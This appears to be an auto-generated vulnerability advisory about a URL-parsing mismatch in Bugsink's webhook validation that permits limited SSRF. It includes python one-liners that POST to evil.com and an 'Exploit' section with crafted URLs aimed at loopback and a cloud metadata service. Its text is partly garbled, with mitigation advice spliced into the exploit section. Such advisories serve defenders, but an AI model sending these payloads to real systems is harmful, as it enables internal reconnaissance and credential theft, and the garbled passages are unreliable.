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How the mentioned CVE works:
The vulnerability stems from a parsing discrepancy between Python’s `urllib.parse.urlparse` (used for validation) and the requests/urllib3 HTTP client stack (used to send the webhook). When a webhook URL contains malformed elements like backslashes or embedded `@` symbols, the two parsers disagree on where the authority section ends and which hostname is the actual target. For example, a URL such as http://[email protected]` may be interpreted by `urllib` as targeting `evil.com` (since `@` denotes userinfo), but the validation logic might only checkexample.com. Similarly, backslashes can confuse host extraction. During validation, Bugsink’s code calls `urlparse` to verify the host against an allowlist, blocking loopback or private addresses. However, when the same URL is passed torequests.post, the underlying `urllib3` normalizes the input differently, potentially connecting to a different host (e.g.,evil.com, localhost, or an internal IP). An attacker who can supply or influence the webhook URL can thus bypass outbound host checks, forcing Bugsink to send an HTTP POST request to a disallowed destination, including private network endpoints. The bypass is partial because redirects are not followed and the request shape is constrained by HTTP client normalization, but it still enables a limited Server-Side Request Forgery (SSRF) in webhook integrations.
<h2 style="color: blue;">dailycve form:</h2>
Platform: Bugsink
Version: 2.1.2 earlier
Vulnerability: URL validation bypass
Severity: Medium
date: 2026-05-08
<h2 style="color: blue;">Prediction: Patch May 15 2026</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Analytics:</h2>
Simulate parser mismatch
python3 -c "from urllib.parse import urlparse; print(urlparse('http://[email protected]').hostname)"
Outputs: evil.com
Validation might check only 'example.com' if naive
Use requests to see actual target
python3 -c "import requests; requests.post('http://[email protected]', data='test')"
Burp suite can capture request to evil.com
Check Bugsink logs for outbound connections
<h2 style="color: blue;">Exploit:</h2>
Craft URL with backslash and @:http://safe.com\@127.0.0.1:8080/admin` or http://[email protected]/latest/meta-data/`. Validate passes if parsing extractssafe.com; HTTP client resolves to loopback or metadata service. Send as webhook configuration via API.@`, deploy outbound firewall rules blocking egress to private IP ranges, and apply RFC‑compliant URL validation using the same parser as the HTTP client.
<h2 style="color: blue;">Protection from this CVE</h2>
Upgrade to fixed version (>2.1.2). If unable, restrict webhook URL modification to admins, audit existing URLs for backslashes/
Impact
Limited SSRF: outbound POST only, no redirects, constrained request shape. Can reach internal hosts (loopback, private IPs, metadata services) that would be blocked by allowlist, enabling information disclosure or internal network reconnaissance.
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Sources:
Reported By: github.com
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